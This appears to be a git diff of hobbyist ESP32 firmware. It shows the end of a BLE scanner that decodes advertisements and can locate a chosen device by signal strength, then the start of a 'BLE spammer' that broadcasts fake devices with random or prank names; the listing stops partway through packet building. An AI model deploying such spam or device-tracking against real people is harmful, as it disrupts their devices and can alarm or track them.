+static const char* advTypeName(uint8_t t) { + switch (t) { + case 0x00: return "ADV_IND (Conn.)"; + case 0x01: return "ADV_DIRECT_IND"; + case 0x02: return "ADV_SCAN_IND"; + case 0x03: return "ADV_NONCONN_IND"; + case 0x04: return "SCAN_RSP"; + default: return "Unknown"; + } +} + +static const char* companyName(uint16_t id) { + switch (id) { + case 0x004C: return "Apple"; + case 0x0006: return "Microsoft"; + case 0x0075: return "Samsung"; + case 0x00E0: return "Google"; + case 0x0499: return "Ruuvi"; + case 0x0087: return "Garmin"; + case 0x0171: return "Amazon"; + case 0x067C: return "Tile"; + case 0x022B: return "Tesla"; + case 0x08AA: return "DJI"; + case 0xFC81: return "Axon"; + case 0x01AB: return "Meta"; + case 0x058E: return "Meta XR"; + case 0x0059: return "Nordic Semi"; + case 0x000F: return "Broadcom"; + case 0x0002: return "Intel"; + case 0x001D: return "Qualcomm"; + case 0x000D: return "Texas Instr"; + case 0x038F: return "Xiaomi"; + case 0x02E5: return "Espressif"; + case 0x0030: return "ST Micro"; + case 0x006B: return "Polar"; + case 0x012D: return "Sony"; + default: return nullptr; + } +} + +static const char* uuid16Name(uint16_t u) { + switch (u) { + case 0x1800: return "GenericAccess"; + case 0x1801: return "GenericAttrib"; + case 0x1802: return "ImmAlert"; + case 0x1803: return "LinkLoss"; + case 0x1804: return "TxPower"; + case 0x1805: return "CurrentTime"; + case 0x1809: return "HealthThermo"; + case 0x180A: return "DeviceInfo"; + case 0x180D: return "HeartRate"; + case 0x180F: return "Battery"; + case 0x1810: return "BloodPress"; + case 0x1811: return "AlertNotif"; + case 0x1812: return "HID"; + case 0x1814: return "RunSpeed"; + case 0x1816: return "CycleSpeed"; + case 0x1818: return "CyclePower"; + case 0x1819: return "LocationNav"; + case 0x181C: return "UserData"; + case 0x1826: return "FitnessMachine"; + case 0x183B: return "BinarySensor"; + case 0x3081: return "Flipper Zero"; + case 0x3082: return "Flipper Zero"; + case 0x3083: return "Flipper Zero"; + case 0xFD5A: return "DUNS"; + case 0xFD5F: return "RayBan/Meta"; + case 0xFD6F: return "ExposureNotif"; + case 0xFE95: return "Xiaomi"; + case 0xFE9F: return "Google"; + case 0xFEAA: return "Eddystone"; + case 0xFECB: return "Tile"; + case 0xFEEC: return "Tile"; + case 0xFEED: return "Tile"; + case 0xFFFA: return "RemoteID"; + default: return nullptr; + } +} + +static const char* appearanceName(uint16_t app) { + switch (app >> 6) { + case 0: return "Unknown"; + case 1: return "Phone"; + case 2: return "Computer"; + case 3: return "Watch"; + case 4: return "Clock"; + case 5: return "Display"; + case 6: return "Remote Ctrl"; + case 7: return "Eye Glasses"; + case 8: return "Tag"; + case 9: return "Keyring"; + case 10: return "Media Player"; + case 11: return "Barcode"; + case 12: return "Thermometer"; + case 13: return "Heart Rate"; + case 14: return "Blood Pressure"; + case 15: return "HID"; + case 16: return "Glucose Meter"; + case 17: return "Running"; + case 18: return "Cycling"; + case 49: return "Pulse Oximeter"; + case 50: return "Weight Scale"; + default: return nullptr; + } +} + +static void addRow(const char* fmt, ...) { + if (numRows >= MAX_ROWS) return; + va_list args; + va_start(args, fmt); + vsnprintf(detailRows[numRows], 26, fmt, args); + va_end(args); + numRows++; +} + +static void addHexRows(const uint8_t* data, int len, int bytesPerRow = 6) { + for (int i = 0; i < len; i += bytesPerRow) { + char hex[26] = " "; + for (int j = i; j < i + bytesPerRow && j < len; j++) { + char b[4]; + snprintf(b, sizeof(b), "%02X ", data[j]); + strncat(hex, b, sizeof(hex) - strlen(hex) - 1); + } + addRow("%s", hex); + } +} + +static void buildDetailRows(const BLEDevice& dev) { + numRows = 0; + + char maskedName[33]; + maskName(dev.hasName ? dev.name : "Unknown", maskedName, 24); + addRow("Name: %.19s", maskedName); + + char maskedMAC[18]; + maskMAC(dev.address, maskedMAC); + addRow("MAC: %s", maskedMAC); + + addRow("Addr: %s", addrTypeName(dev.addrType)); + addRow("ADV: %s", advTypeName(dev.advType)); + addRow("RSSI: %d dBm", dev.rssi); + addRow("Age: %lus ago", (millis() - dev.lastSeen) / 1000); + + if (dev.payloadLength == 0) { + addRow("(no adv data)"); + return; + } + + const uint8_t* raw = dev.payload; + size_t total = dev.payloadLength; + size_t i = 0; + + while (i + 1 < total) { + uint8_t recLen = raw[i]; + if (recLen == 0) break; + if (i + recLen >= total) break; + + uint8_t adType = raw[i + 1]; + const uint8_t* d = &raw[i + 2]; + uint8_t dLen = recLen - 1; + + switch (adType) { + + case 0x01: + if (dLen >= 1) { + addRow("Flags: 0x%02X", d[0]); + if (d[0] & 0x01) addRow(" Ltd Discoverable"); + if (d[0] & 0x02) addRow(" Gen Discoverable"); + if (d[0] & 0x04) addRow(" BR/EDR Not Supp."); + if (d[0] & 0x08) addRow(" LE+BR/EDR (ctrl)"); + if (d[0] & 0x10) addRow(" LE+BR/EDR (host)"); + } + break; + + case 0x02: + case 0x03: + addRow(adType == 0x03 ? "Svc UUIDs:" : "Svc UUIDs (inc.):"); + for (int j = 0; j + 1 < dLen; j += 2) { + uint16_t uuid = d[j] | ((uint16_t)d[j + 1] << 8); + const char* n = uuid16Name(uuid); + if (n) addRow(" 0x%04X %s", uuid, n); + else addRow(" 0x%04X", uuid); + } + break; + + case 0x04: + case 0x05: + addRow(adType == 0x05 ? "32-bit UUIDs:" : "32-UUIDs (inc.):"); + for (int j = 0; j + 3 < dLen; j += 4) { + uint32_t uuid = (uint32_t)d[j] | ((uint32_t)d[j+1] << 8) + | ((uint32_t)d[j+2] << 16) | ((uint32_t)d[j+3] << 24); + addRow(" 0x%08X", uuid); + } + break; + + case 0x06: + case 0x07: + addRow(adType == 0x07 ? "128-bit UUID:" : "128-UUID (inc.):"); + for (int j = 0; j + 15 < dLen; j += 16) { + addRow("%02x%02x%02x%02x-%02x%02x-%02x%02x-", + d[j+15], d[j+14], d[j+13], d[j+12], + d[j+11], d[j+10], d[j+9], d[j+8]); + addRow("%02x%02x-%02x%02x%02x%02x%02x%02x", + d[j+7], d[j+6], + d[j+5], d[j+4], d[j+3], d[j+2], d[j+1], d[j+0]); + } + break; + + case 0x08: + case 0x09: { + char nameBuf[32] = {}; + uint8_t nl = (dLen < 31) ? dLen : 31; + memcpy(nameBuf, d, nl); + char masked[33]; + maskName(nameBuf, masked, sizeof(masked) - 1); + addRow(adType == 0x09 ? "Local Name: %.13s" + : "Short Name: %.13s", masked); + break; + } + + case 0x0A: + if (dLen >= 1) + addRow("TX Power: %+d dBm", (int8_t)d[0]); + break; + + case 0x12: + if (dLen >= 4) { + uint16_t lo = d[0] | ((uint16_t)d[1] << 8); + uint16_t hi = d[2] | ((uint16_t)d[3] << 8); + addRow("Conn Interval:"); + addRow(" %d-%d ms", (int)(lo * 1.25f), (int)(hi * 1.25f)); + } + break; + + case 0x14: + addRow("Solicitation:"); + for (int j = 0; j + 1 < dLen; j += 2) { + uint16_t uuid = d[j] | ((uint16_t)d[j + 1] << 8); + const char* n = uuid16Name(uuid); + if (n) addRow(" 0x%04X %s", uuid, n); + else addRow(" 0x%04X", uuid); + } + break; + + case 0x15: + addRow("128 Solicitation:"); + if (dLen >= 16) { + addRow("%02x%02x%02x%02x-%02x%02x-%02x%02x-", + d[15], d[14], d[13], d[12], + d[11], d[10], d[9], d[8]); + addRow("%02x%02x-%02x%02x%02x%02x%02x%02x", + d[7], d[6], d[5], d[4], d[3], d[2], d[1], d[0]); + } + break; + + case 0x16: + if (dLen >= 2) { + uint16_t uuid = d[0] | ((uint16_t)d[1] << 8); + const char* n = uuid16Name(uuid); + if (n) addRow("Svc Data 0x%04X:", uuid); + else addRow("Svc Data: 0x%04X", uuid); + if (n) addRow(" (%s)", n); + if (dLen > 2) addHexRows(d + 2, dLen - 2); + } + break; + + case 0x19: + if (dLen >= 2) { + uint16_t app = d[0] | ((uint16_t)d[1] << 8); + const char* n = appearanceName(app); + if (n) addRow("Appearance: %s", n); + else addRow("Appearance:0x%04X", app); + } + break; + + case 0x1A: + if (dLen >= 2) { + uint16_t iv = d[0] | ((uint16_t)d[1] << 8); + addRow("Adv Interval:%dms", (int)(iv * 0.625f)); + } + break; + + case 0x1B: + if (dLen >= 7) { + addRow("LE BT Addr:"); + char leAddr[18]; + snprintf(leAddr, sizeof(leAddr), "%02x:%02x:%02x:%02x:%02x:%02x", + d[6], d[5], d[4], d[3], d[2], d[1]); + char maskedLeAddr[18]; + maskMAC(leAddr, maskedLeAddr); + addRow(" %s", maskedLeAddr); + } + break; + + case 0x20: + if (dLen >= 4) { + uint32_t uuid = (uint32_t)d[0] | ((uint32_t)d[1] << 8) + | ((uint32_t)d[2] << 16) | ((uint32_t)d[3] << 24); + addRow("Svc Data32:"); + addRow(" 0x%08X", uuid); + if (dLen > 4) addHexRows(d + 4, dLen - 4); + } + break; + + case 0x21: + if (dLen >= 16) { + addRow("Svc Data128:"); + addRow("%02x%02x%02x%02x-%02x%02x-%02x%02x-", + d[15], d[14], d[13], d[12], + d[11], d[10], d[9], d[8]); + addRow("%02x%02x-%02x%02x%02x%02x%02x%02x", + d[7], d[6], d[5], d[4], d[3], d[2], d[1], d[0]); + if (dLen > 16) addHexRows(d + 16, dLen - 16); + } + break; + + case 0xFF: + if (dLen >= 2) { + uint16_t cid = d[0] | ((uint16_t)d[1] << 8); + const char* cn = companyName(cid); + addRow("Mfr Data:"); + if (cn) addRow(" ID:0x%04X(%s)", cid, cn); + else addRow(" ID: 0x%04X", cid); + if (dLen > 2) addHexRows(d + 2, dLen - 2); + } + break; + + default: + addRow("AD[0x%02X]:", adType); + if (dLen > 0) addHexRows(d, dLen); + break; + } + + i += recLen + 1; + } +} + +static void store_raw(BLEDevice& dev, esp_ble_gap_cb_param_t* sr) { + uint8_t adv_len = sr->scan_rst.adv_data_len; + uint8_t rsp_len = sr->scan_rst.scan_rsp_len; + uint8_t total = adv_len + rsp_len; + + if (total > 0 && total <= 62) { + if (total >= dev.payloadLength) { + memcpy(dev.payload, sr->scan_rst.ble_adv, total); + dev.payloadLength = total; + } + } else if (adv_len > 0 && adv_len <= 62 && adv_len > dev.payloadLength) { + memcpy(dev.payload, sr->scan_rst.ble_adv, adv_len); + dev.payloadLength = adv_len; + } +} + +static void bda_to_str(uint8_t* bda, char* str, size_t size) { + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +static void extract_name(esp_ble_gap_cb_param_t* sr, BLEDevice& dev) { + if (dev.hasName) return; + uint8_t nlen = 0; + uint8_t* nd = esp_ble_resolve_adv_data(sr->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, &nlen); + if (!nd) nd = esp_ble_resolve_adv_data(sr->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, &nlen); + if (nd && nlen > 0 && nlen < 32) { + memcpy(dev.name, nd, nlen); + dev.name[nlen] = '\0'; + dev.hasName = true; + } +} + +static void process_scan_result(esp_ble_gap_cb_param_t* sr) { + uint8_t* bda = sr->scan_rst.bda; + + char addrStr[18]; + bda_to_str(bda, addrStr, sizeof(addrStr)); + if (strlen(addrStr) < 12) return; + + if (inspView == BLEINSP_LOCATE && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) return; + } else if ((int)bleInspectorDevices.size() >= MAX_DEVICES) { + return; + } + + for (auto& dev : bleInspectorDevices) { + if (strcmp(dev.address, addrStr) != 0) continue; + dev.rssi = sr->scan_rst.rssi; + dev.lastSeen = millis(); + dev.advType = sr->scan_rst.ble_evt_type; + dev.addrType = sr->scan_rst.ble_addr_type; + memcpy(dev.bdAddr, bda, 6); + store_raw(dev, sr); + extract_name(sr, dev); + if (inspView != BLEINSP_LOCATE) + std::sort(bleInspectorDevices.begin(), bleInspectorDevices.end(), + [](const BLEDevice& a, const BLEDevice& b) + { return a.rssi > b.rssi; }); + return; + } + + BLEDevice dev = {}; + strncpy(dev.address, addrStr, 17); + dev.address[17] = '\0'; + memcpy(dev.bdAddr, bda, 6); + dev.rssi = sr->scan_rst.rssi; + dev.lastSeen = millis(); + dev.advType = sr->scan_rst.ble_evt_type; + dev.addrType = sr->scan_rst.ble_addr_type; + store_raw(dev, sr); + strcpy(dev.name, "Unknown"); + dev.hasName = false; + extract_name(sr, dev); + + bleInspectorDevices.push_back(dev); + if (inspView != BLEINSP_LOCATE) + std::sort(bleInspectorDevices.begin(), bleInspectorDevices.end(), + [](const BLEDevice& a, const BLEDevice& b) + { return a.rssi > b.rssi; }); + needsRedraw = true; +} + +static void ble_inspector_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t* param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) + isScanning = false; + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + isScanning = (inspView == BLEINSP_LOCATE); + if (inspView == BLEINSP_LOCATE) esp_ble_gap_start_scanning(scanDuration); + break; + default: break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: break; + } +} + +static void drawDetail() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + for (int i = 0; i < VISIBLE; i++) { + int rowIdx = detailScrollOffset + i; + if (rowIdx >= numRows) break; + u8g2.drawStr(0, 10 + i * 10, detailRows[rowIdx]); + } + + if (detailScrollOffset > 0) + u8g2.drawTriangle(124, 2, 120, 8, 128, 8); + if (detailScrollOffset + VISIBLE < numRows) + u8g2.drawTriangle(124, 58, 120, 52, 128, 52); + + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawLocate() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + if (currentIndex >= (int)bleInspectorDevices.size()) { + u8g2.drawStr(0, 30, "Device lost"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + return; + } + + const BLEDevice& dev = bleInspectorDevices[currentIndex]; + char buf[32]; + + char maskedName[33]; + maskName(dev.hasName ? dev.name : "Unknown", maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.22s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedMAC[18]; + maskMAC(dev.address, maskedMAC); + u8g2.drawStr(0, 17, maskedMAC); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 30, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* qual; + if (signalLevel >= 5) qual = "EXCELLENT"; + else if (signalLevel >= 4) qual = "VERY GOOD"; + else if (signalLevel >= 3) qual = "GOOD"; + else if (signalLevel >= 2) qual = "FAIR"; + else if (signalLevel >= 1) qual = "WEAK"; + else qual = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", qual); + u8g2.drawStr(0, 40, buf); + + const int bw = 12, bsp = 5; + int startX = (128 - (bw * 5 + bsp * 4)) / 2; + for (int i = 0; i < 5; i++) { + int bh = 8 + i * 2; + int x = startX + i * (bw + bsp); + int y = 54 - bh; + if (i < signalLevel) u8g2.drawBox(x, y, bw, bh); + else u8g2.drawFrame(x, y, bw, bh); + } + + u8g2.drawStr(0, 60, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void bleInspectorSetup() { + bleInspectorDevices.clear(); + bleInspectorDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + inspView = BLEINSP_LIST; + numRows = detailScrollOffset = 0; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = lastCountdownUpd = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "BLE Inspector"); + u8g2.drawStr(0, 22, "Scanning for BLE..."); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(ble_inspector_gap_cb); + esp_ble_gap_set_scan_params(&ble_inspector_scan_params); + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); +} + +void bleInspectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && inspView == BLEINSP_LIST) { + if (lastDeviceCount != (int)bleInspectorDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)bleInspectorDevices.size(); + wasScanning = isScanning; + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "BLE Inspector"); + u8g2.drawStr(0, 22, "Scanning for BLE..."); + char cs[32]; + snprintf(cs, sizeof(cs), "%d/%d devices", + (int)bleInspectorDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 34, cs); + const int bw = 120, bx = (128 - bw) / 2; + u8g2.drawFrame(bx, 42, bw, 10); + int fill = ((int)bleInspectorDevices.size() * (bw - 4)) / MAX_DEVICES; + if (fill > 0) u8g2.drawBox(bx + 2, 44, fill, 6); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + unsigned long effInterval = scanInterval; + uint32_t effDuration = scanDuration; + if (bleInspectorDevices.empty() && isContinuousScanEnabled()) { + effInterval = 500; + effDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effInterval && + inspView == BLEINSP_LIST) { + if ((int)bleInspectorDevices.size() >= MAX_DEVICES) { + std::sort(bleInspectorDevices.begin(), bleInspectorDevices.end(), + [](const BLEDevice& a, const BLEDevice& b) { + return a.lastSeen != b.lastSeen + ? a.lastSeen < b.lastSeen : a.rssi < b.rssi; + }); + bleInspectorDevices.erase(bleInspectorDevices.begin(), + bleInspectorDevices.begin() + MAX_DEVICES / 4); + currentIndex = listStartIndex = 0; + } + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effDuration); + lastScanTime = now; + return; + } + + if (now - lastButtonPress > debounceTime) { + if (inspView == BLEINSP_LOCATE) { + if (digitalRead(BTN_BACK) == LOW) { + inspView = BLEINSP_DETAIL; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { esp_ble_gap_stop_scanning(); isScanning = false; } + lastButtonPress = now; + needsRedraw = true; + } + + } else if (inspView == BLEINSP_DETAIL) { + if (digitalRead(BTN_UP) == LOW && detailScrollOffset > 0) { + detailScrollOffset--; + lastButtonPress = now; + needsRedraw = true; + } else if (digitalRead(BTN_DOWN) == LOW && + detailScrollOffset + VISIBLE < numRows) { + detailScrollOffset++; + lastButtonPress = now; + needsRedraw = true; + } else if (digitalRead(BTN_RIGHT) == LOW && !bleInspectorDevices.empty()) { + inspView = BLEINSP_LOCATE; + strncpy(locateTargetAddress, bleInspectorDevices[currentIndex].address, + sizeof(locateTargetAddress) - 1); + if (!isScanning) { isScanning = true; esp_ble_gap_start_scanning(scanDuration); } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (digitalRead(BTN_BACK) == LOW) { + inspView = BLEINSP_LIST; + detailScrollOffset = 0; + if (isScanning) { esp_ble_gap_stop_scanning(); isScanning = false; } + lastButtonPress = now; + needsRedraw = true; + } + + } else if (scanCompleted) { + if (digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)bleInspectorDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (digitalRead(BTN_RIGHT) == LOW && !bleInspectorDevices.empty()) { + inspView = BLEINSP_DETAIL; + detailScrollOffset = 0; + buildDetailRows(bleInspectorDevices[currentIndex]); + if (isScanning) { esp_ble_gap_stop_scanning(); isScanning = false; } + lastButtonPress = now; + needsRedraw = true; + } + } + } + + if (bleInspectorDevices.empty()) { + currentIndex = listStartIndex = 0; + inspView = BLEINSP_LIST; + } else { + currentIndex = constrain(currentIndex, 0, (int)bleInspectorDevices.size() - 1); + listStartIndex = constrain(listStartIndex, 0, + max(0, (int)bleInspectorDevices.size() - 5)); + } + + if (inspView != BLEINSP_LIST && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + if (inspView == BLEINSP_DETAIL) { + int saved = detailScrollOffset; + buildDetailRows(bleInspectorDevices[currentIndex]); + detailScrollOffset = constrain(saved, 0, max(0, numRows - VISIBLE)); + } + needsRedraw = true; + } + + if (bleInspectorDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpd >= 1000) { + lastCountdownUpd = now; + needsRedraw = true; + } + + if (!needsRedraw) return; + needsRedraw = false; + + if (inspView == BLEINSP_LOCATE) { drawLocate(); return; } + if (inspView == BLEINSP_DETAIL) { drawDetail(); return; } + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + if (bleInspectorDevices.empty()) { + u8g2.drawStr(0, 10, "BLE Inspector"); + if (isContinuousScanEnabled()) { + u8g2.drawStr(0, 25, "Scanning..."); + } else { + u8g2.drawStr(0, 25, "No devices found"); + u8g2.setFont(u8g2_font_5x8_tr); + unsigned long tl = (effInterval - (now - lastScanTime)) / 1000; + char ts[32]; + snprintf(ts, sizeof(ts), "Rescan in %lus", tl); + u8g2.drawStr(0, 38, ts); + } + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + } else { + char header[32]; + snprintf(header, sizeof(header), "BLE Inspector: %d/%d", + (int)bleInspectorDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; i++) { + int idx = listStartIndex + i; + if (idx >= (int)bleInspectorDevices.size()) break; + const BLEDevice& d = bleInspectorDevices[idx]; + if (idx == currentIndex) u8g2.drawStr(0, 20 + i * 10, ">"); + char maskedName[33]; + maskName(d.hasName ? d.name : "Unknown", maskedName, sizeof(maskedName) - 1); + char line[32]; + snprintf(line, sizeof(line), "%.8s | RSSI %d", maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/ble_spammer.cpp b/cyd-port/src/ble_spammer.cpp new file mode 100644 index 0000000..dcb7eb0 --- /dev/null +++ b/cyd-port/src/ble_spammer.cpp @@ -0,0 +1,453 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/pindefs.h" +#include "ble_spammer.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include +#include +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +enum BleSpamMode { BLE_SPAM_MENU, BLE_SPAM_RANDOM, BLE_SPAM_EMOJI, BLE_SPAM_CUSTOM, BLE_SPAM_ALL }; +static BleSpamMode bleSpamMode = BLE_SPAM_MENU; +static int menuSelection = 0; +static unsigned long lastButtonPress = 0; +const unsigned long debounceDelay = 200; +static bool bleInitialized = false; +static bool isCurrentlyAdvertising = false; + +static bool needsRedraw = true; +static unsigned long lastActiveUpdate = 0; +const unsigned long activeUpdateInterval = 1000; + +// BLE advertising parameters (connectable, but connections are rejected in esp_ble_gap_register_callback) +static esp_ble_adv_params_t adv_params = { + .adv_int_min = 0x20, + .adv_int_max = 0x40, + .adv_type = ADV_TYPE_IND, + .own_addr_type = BLE_ADDR_TYPE_RANDOM, + .channel_map = ADV_CHNL_ALL, + .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY +}; + +// NyanBOX custom names +static const char* customNames[] = { + "zr_crackin was here", + "jbohack was here", + "nyandevices.com", + "Sub2TalkingSasquach", + "nyanBOX", + "Crypto Wallet", + "Toaster", + "ATM Machine", + "OnlyFans Portal", + "FeetFinder Portal", + "Garbage Can", + "FBI Surveillance Van", + "Toilet", + "Listening Device", + "Bathroom Camera", + "Rickroll", + "Ejection Seat", + "Dark Web Access Point", + "Time Machine", + "👉👌", + "hi ;)" +}; +static const uint8_t customNamesCount = sizeof(customNames) / sizeof(customNames[0]); + +static const uint32_t emojiRanges[][2] = { + { 0x1F600, 0x1F64F }, + { 0x1F300, 0x1F5FF }, + { 0x1F680, 0x1F6FF }, + { 0x2600, 0x26FF }, + { 0x2700, 0x27BF }, + { 0x1F1E6, 0x1F1FF } +}; +static const uint8_t emojiRangeCount = sizeof(emojiRanges) / sizeof(emojiRanges[0]); + +static const uint8_t minNameLen = 3; +static const uint8_t maxNameLen = 10; +static const uint16_t nameBufSize = maxNameLen * 4 + 1; + +static uint8_t utf8_encode(uint32_t cp, char *out) { + if (cp <= 0x7F) { + out[0] = cp; return 1; + } else if (cp <= 0x7FF) { + out[0] = 0xC0 | ((cp >> 6) & 0x1F); + out[1] = 0x80 | (cp & 0x3F); + return 2; + } else if (cp <= 0xFFFF) { + out[0] = 0xE0 | ((cp >> 12) & 0x0F); + out[1] = 0x80 | ((cp >> 6) & 0x3F); + out[2] = 0x80 | (cp & 0x3F); + return 3; + } else if (cp <= 0x10FFFF) { + out[0] = 0xF0 | ((cp >> 18) & 0x07); + out[1] = 0x80 | ((cp >> 12) & 0x3F); + out[2] = 0x80 | ((cp >> 6) & 0x3F); + out[3] = 0x80 | (cp & 0x3F); + return 4; + } + return 0; +} + +static void generateRandomAlphaName(char* buf, uint8_t length) { + for (uint8_t i = 0; i < length; i++) { + buf[i] = 'A' + random(26); + } + buf[length] = '\0'; +} + +static void generateRandomEmojiName(char* buf) { + uint8_t count = random(minNameLen, maxNameLen + 1); + uint16_t pos = 0; + for (uint8_t i = 0; i < count; i++) { + uint8_t ri = random(emojiRangeCount); + uint32_t start = emojiRanges[ri][0]; + uint32_t end = emojiRanges[ri][1]; + uint32_t cp = random(start, end + 1); + char utf8[4]; + uint8_t len = utf8_encode(cp, utf8); + if (pos + len < nameBufSize) { + memcpy(&buf[pos], utf8, len); + pos += len; + } + } + buf[pos] = '\0'; +} + +static void generateRandomMixedName(char* buf) { + uint8_t glyphs = random(minNameLen, maxNameLen + 1); + uint16_t pos = 0; + for (uint8_t i = 0; i < glyphs; i++) { + if (random(2) == 0) { + if (pos + 1 < nameBufSize) { + buf[pos++] = 'A' + random(26); + } + } else { + uint8_t ri = random(emojiRangeCount); + uint32_t start = emojiRanges[ri][0]; + uint32_t end = emojiRanges[ri][1]; + uint32_t cp = random(start, end + 1); + char utf8[4]; + uint8_t len = utf8_encode(cp, utf8); + if (pos + len < nameBufSize) { + memcpy(&buf[pos], utf8, len); + pos += len; + } + } + } + buf[pos] = '\0'; +} + +static const char* pickName(char* buf, uint8_t nameMode) { + if (nameMode == 0 && customNamesCount > 0) { + return customNames[random(customNamesCount)]; + } + if (nameMode == 1) { + uint8_t len = random(minNameLen, maxNameLen + 1); + generateRandomAlphaName(buf, len); + } else { + generateRandomEmojiName(buf); + } + return buf; +} + +static void drawBleSpamMenu() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "BLE Spam Mode:"); + u8g2.drawStr(0, 22, menuSelection == 0 ? "> Random" : " Random"); + u8g2.drawStr(0, 32, menuSelection == 1 ? "> Emoji" : " Emoji"); + u8g2.drawStr(0, 42, menuSelection == 2 ? "> Custom" : " Custom"); + u8g2.drawStr(0, 52, menuSelection == 3 ? "> All" : " All"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Move R=Start SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawActiveSpam(const char* modeName, const char* extraInfo = nullptr) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, modeName); + if (extraInfo) { + u8g2.drawStr(0, 28, extraInfo); + u8g2.drawStr(0, 44, "Status: Active"); + } else { + u8g2.drawStr(0, 28, "Status: Active"); + } + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +// Packet structure for each advertisement +typedef uint8_t* PacketPtr; +static void make_packet(const char* name, uint8_t* size, PacketPtr* packet) { + uint8_t name_len = strlen(name); + uint8_t total = 12 + name_len; + 